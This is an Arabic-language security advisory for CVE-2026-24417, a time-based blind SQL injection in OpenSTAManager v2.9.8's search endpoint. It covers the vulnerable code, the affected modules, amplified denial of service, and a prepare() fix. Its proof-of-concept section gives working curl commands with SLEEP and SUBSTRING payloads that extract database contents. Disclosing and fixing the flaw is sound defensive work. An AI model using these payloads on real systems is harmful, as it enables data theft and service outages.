
CVE-2026-24417 - يحتوي OpenSTAManager على ثغرة حقن SQL أعمى قائمة على الزمن مع تضخيم رفض الخدمة
| الحقل | التفاصيل |
|---|
| معرف CVE | CVE-2026-24417 |
| الخطورة | عالية |
| النشرة الأمنية | عرض النشرة الأمنية |
| اكتُشفت بواسطة | Lukasz Rybak |
ثغرة حرجة من نوع حقن SQL أعمى قائم على الوقت تؤثر على عدة وحدات بحث في OpenSTAManager v2.9.8، وتسمح للمهاجمين المصادَق عليهم باستخراج محتويات حساسة من قاعدة البيانات بما في ذلك تجزئات كلمات المرور وبيانات العملاء والسجلات المالية عبر هجمات الاستدلال البولياني القائمة على الوقت مع تنفيذ مضخّم عبر أكثر من 10 وحدات.
الحالة: ✅ تم التأكيد والاختبار على مثيل حي (v2.9.8)
المعامل القابل للاختراق: term (GET)
نقطة النهاية المتأثرة: /ajax_search.php
الوحدات المتأثرة: Articoli, Ordini, DDT, Fatture, Preventivi, Anagrafiche, Impianti, Contratti, Automezzi, Interventi
يحتوي OpenSTAManager v2.9.8 على ثغرة حرجة من نوع حقن SQL أعمى قائم على الوقت في وظيفة البحث العام. يفشل التطبيق في تنظيف معامل term بشكل صحيح قبل استخدامه في عبارات SQL LIKE عبر معالجات بحث متعددة خاصة بالوحدات، مما يسمح للمهاجمين بحقن أوامر SQL عشوائية واستخراج بيانات حساسة من خلال الاستدلال البولياني القائم على الوقت.
سلسلة الثغرة:
نقطة الدخول: /ajax_search.php (السطر 30-31)
$term = get('term');
$term = str_replace('/', '\\/', $term);
يخضع معامل $term لتنظيف ضئيل (يكتفي باستبدال الشرطة المائلة للأمام).
التوزيع: /src/AJAX.php::search() (السطر 159-161)
$files = self::find('ajax/search.php');
array_unshift($files, base_dir().'/ajax_search.php');
foreach ($files as $file) {
$module_results = self::getSearchResults($file, $term);
يتم تمرير $term غير المنظّف إلى جميع معالجات البحث الخاصة بالوحدات.
التنفيذ: /src/AJAX.php::getSearchResults() (السطر 373)
require $file;
يتم تضمين ملف search.php الخاص بكل وحدة مع وجود متغير $term في النطاق.
استعلامات SQL القابلة للاختراق: تقوم عدة وحدات بربط $term مباشرة دون prepare()
جميع الملفات المتأثرة (أكثر من 10 حالات قابلة للاختراق):
/modules/articoli/ajax/search.php - السطر 51 (مثال أساسي)
foreach ($fields as $name => $value) {
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
}
$rs = $dbo->fetchArray($query);
التأثير: ربط مباشر دون prepare()، يسمح بحقن SQL كامل.
/modules/ordini/ajax/search.php - السطر 43، 47
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
$query .= '... WHERE `mg_articoli`.`codice` LIKE "%'.$term.'%" OR `mg_articoli_lang`.`title` LIKE "%'.$term.'%"';
/modules/ddt/ajax/search.php - السطر 43، 47
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
/modules/fatture/ajax/search.php - السطر 45، 49
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
/modules/preventivi/ajax/search.php - السطر 45، 49
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
/modules/anagrafiche/ajax/search.php - السطر 62، 107، 162
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
/modules/impianti/ajax/search.php - السطر 46
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
منظّفة بشكل صحيح (غير قابلة للاختراق):
/modules/contratti/ajax/search.php - تستخدم prepare() بشكل صحيح/modules/automezzi/ajax/search.php - تستخدم prepare() بشكل صحيحملاحظة: تتميز الثغرة بـ تنفيذ مضخّم - حيث يؤدي طلب ضار واحد إلى تشغيل حقن SQL عبر جميع الوحدات القابلة للاختراق في وقت واحد، مما يتسبب في تنفيذ هجمات قائمة على الوقت أكثر من 10 مرات لكل طلب، مما يضاعف التأخير ويؤدي إلى أخطاء 504 Gateway Time-out كما لوحظ على النسخة التجريبية الحية.

الخطوة 1: تسجيل الدخول
curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
-d 'username=admin&password=admin'
الخطوة 2: التحقق من الثغرة (SLEEP قائم على الوقت)
# Test with SLEEP(1) - should take ~85+ seconds due to amplified execution
time curl -s -b /tmp/cookies.txt \
'http://localhost:8081/ajax_search.php?term=%22%20AND%200%20OR%20SLEEP(1)%20OR%20%22'
# Result: real 72.29s
# Test with SLEEP(0) - should be fast
time curl -s -b /tmp/cookies.txt \
'http://localhost:8081/ajax_search.php?term=%22%20AND%200%20OR%20SLEEP(0)%20OR%20%22'
# Result: real 0.30s

الخطوة 3: استخراج البيانات - اسم قاعدة البيانات
# Extract first character of database name (expected: 'o' from 'openstamanager')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_search.php?term=%22%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)%20OR%20%221%22=%221" \
> /dev/null
# Result: real 170.32s
# Test with wrong character 'x' - should be fast
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_search.php?term=%22%20AND%20SUBSTRING(DATABASE(),1,1)=%27x%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)%20OR%20%221%22=%221" \
> /dev/null
# Result: real 0m0.30s

المستخدمون المتأثرون: جميع المستخدمين المصادَق عليهم الذين لديهم حق الوصول إلى وظيفة البحث العام.
الإصلاح الموصى به:
استبدل جميع حالات الربط المباشر لـ $term باستخدام prepare():
قبل (قابل للاختراق):
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
بعد (مُصلَح):
$query .= ' OR '.$value.' LIKE '.prepare('%'.$term.'%');
طبّق هذا الإصلاح على جميع الملفات المتأثرة:
/modules/articoli/ajax/search.php - السطر 51/modules/ordini/ajax/search.php - الأسطر 43، 47، 79/modules/ddt/ajax/search.php - الأسطر 43، 47، 83/modules/fatture/ajax/search.php - الأسطر 45، 49، 85/modules/preventivi/ajax/search.php - الأسطر 45، 49، 83/modules/anagrafiche/ajax/search.php - الأسطر 62، 107، 162/modules/impianti/ajax/search.php - السطر 46تم الإفصاح عن هذا CVE بمسؤولية وفقًا لممارسات الإفصاح المنسّق عن الثغرات الأمنية. المعلومات المقدمة هنا لأغراض تعليمية ودفاعية فقط.